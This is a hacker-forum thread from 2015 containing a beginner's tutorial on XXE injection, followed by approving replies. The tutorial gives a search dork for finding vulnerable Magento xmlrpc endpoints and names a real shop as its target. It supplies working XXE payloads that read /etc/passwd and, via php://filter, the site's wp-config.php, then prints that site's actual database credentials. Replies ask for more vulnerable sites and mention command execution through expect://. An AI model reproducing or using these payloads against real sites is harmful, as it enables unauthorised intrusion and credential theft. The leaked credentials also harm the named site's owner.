Hack Forums
[TUT] XXE Injection w/ Pics [Newb Friendly] - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: [TUT] XXE Injection w/ Pics [Newb Friendly] (/showthread.php?tid=4756112)

Pages: Pages 1 2 3 4 5 6

[TUT] XXE Injection w/ Pics [Newb Friendly] - benzi - Mar 31, 2015

sup.
i saw that there are no mentions in this forum about XXE Injection, except from one thread.
which is not a good thing, since this attack is really nice.
lets start.

xxe stands for xml external entity.
in this attack, we're using xml entity commands to read files (mainly), execute commands, DOS, port scan and in some versions even upload files.
whats that mean?
if sqli works using sql commands, xxe works using xml commands.
in this tut, i will be talking about reading local files using xxe error based.
i belive we learn best from practice, thats why im demonstrating on live site.

TOC
- find vulns.
- exploitation.

find vulns
so thats all good and beautiful, but we still need a site to practice on.
which means we need dork, and i found nice one. 🙂
Code
allinurl:skin/frontend
the usage is navigate from
site.com/skin/frontend
to
site.com/api/xmlrpc

if we want to check specific site, we can also use google dorking-
Code
site:site.com inurl:xmlrpc

exploitation
thats what a typical xxe vuln looks like-
Code
https://malga.ca/boutique/api/xmlrpc
[Image: rL5pjGO.png]

lets do a test, to see if its vuln.
we will create a new entity named "tutorial", and put in a text.
now, as i said, this tut will focus on error based.
to create an error, we're using <methodName> tag and <methodCall> tag, which basically calls a xml method.
now we will call are entity using the 2 tags, and we will get an error because theres no method called "tutorial".
thats how the command will look like-
Code
<!DOCTYPE a [
<!ENTITY tutorial "benz">
]>
<methodCall><methodName>&tutorial;</methodName></methodCall>

the usage is simple.
GET - site
POST - command.
[Image: JsNVXeP.png]

and as expected, we got an error.
[Image: iZxndB4.png]
<string>Method "benz" does not exist</string>

lets try to do more than that.
like read /etc/passwd, and we can do that by use file:// wrapper.
Code
<!DOCTYPE a [
<!ENTITY tutorial SYSTEM "file:///etc/passwd" >
]>
<methodCall><methodName>&tutorial;</methodName></methodCall>
[Image: MnBUA1t.png]

as we can see, we can use php wrappers.
to read the source of other files, i'll be using php://filter.
i use it because that allowes us to see the full source, not only the html.
lets find the config file.
like lfd, we first check the main index.php.
since we are in /boutique directory, we will navigate to the parent directory.
Code
<!DOCTYPE a [
<!ENTITY tutorial SYSTEM "php://filter/convert.base64-encode/resource=../index.php" >
]>
<methodCall><methodName>&tutorial;</methodName></methodCall>
[Image: LYlrjCo.png]

lets decode that base64, and see the content of the file.
[Image: zHyRDKQ.png]

as we can see, the site use wordpress.
the config file of wordpress is wp-config.php
lets check in this site-
Code
<!DOCTYPE a [
<!ENTITY tutorial SYSTEM "php://filter/convert.base64-encode/resource=../wp-config.php" >
]>
<methodCall><methodName>&tutorial;</methodName></methodCall>

we got another base64, which means the file exist.
lets decode it.
Code
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'malgaca_wp');

/** MySQL database username */
define('DB_USER', 'malgaca_wpuser');

/** MySQL database password */
define('DB_PASSWORD', 'J41M4lAuC03ur');

/** MySQL hostname */
define('DB_HOST', 'localhost');

/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8');

/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');

Pwned.

hope you learned something 🙂

* - Thehackerguy1 - Mar 31, 2015

Thanks for this sir, when i am free i will surely try this. Thanks a lot sir.

* - HaxOr❤ - Mar 31, 2015

Nice tutorial man. Good to see you still active! :)

* - benzi - Mar 31, 2015

thanks, glad that you like that.
              

* - Death Eater - Mar 31, 2015

Great tutorial OP, this is something that a lot of people will find helpful

* - NIIGHT HAWKE - Mar 31, 2015

Awesome tutorial! Thank you. Learned something new!

* - benzi - Mar 31, 2015

thanks all.
if someone got another site that vuln (not /api/xmlrpc) pm me, i would like to make a tut on rce and file upload.

* - Th3PonyWizard - Mar 31, 2015

(Mar 31, 2015 03:30 AM)Th3PonyWizard Wrote:  Writing a tutorial about XML based attacks and I'm compiling them all
XML Injection
XXE
XML DoS (Bomb based)
XSLT Injections
XML XSS
I literally was about to write this one. Good going and awesome thread.

* - benzi - Mar 31, 2015

(Mar 31, 2015 12:34 PM)Th3PonyWizard Wrote:  I literally was about to write this one. Good going and awesome thread.

do you got a vuln site which is not /api ?

* - Th3PonyWizard - Mar 31, 2015

(Mar 31, 2015 01:36 PM)benzi Wrote:  do you got a vuln site which is not /api ?
No but I have my own server and I code vulnerabilities on it

* - SIM-1866423 - Mar 31, 2015

Good to see you, again ✌

&&&&&&

* - Hooded Robin - Mar 31, 2015

This has affected plesk panel in the past, flex service bundled w/Coldfusion, Apache Solr , numerous xmlrpc handlers, and lots of other services people tend to pay no attention to...

I love these bugs 🤭

Worth mentioning that you can also in rare cases execute commands via the expect://, as opposed to the typical file:// abuse trick 🤝

* - Jonetsu - Mar 31, 2015

(Mar 31, 2015 09:26 AM)benzi Wrote:  thanks, glad that you like that.
              

Thanks for this tutorial nice share :)

* - benzi - Apr 1, 2015

(Mar 31, 2015 03:03 PM)Hooded Robin Wrote:  This has affected plesk panel in the past, flex service bundled w/Coldfusion, Apache Solr , numerous xmlrpc handlers, and lots of other services people tend to pay no attention to...

I love these bugs 🤭

Worth mentioning that you can also in rare cases execute commands via the expect://, as opposed to the typical file:// abuse trick 🤝

i'll tell you more than that, you can actually get xxe from postgresql injection.
i wanted to write about expect://, directory listing (file:///dir), and jar://, but couldnt find any vuln site to demonstrate on.

* - Freerunning - Apr 1, 2015

Thank you so much sir for the tutorial gonna bookmark it and study it later.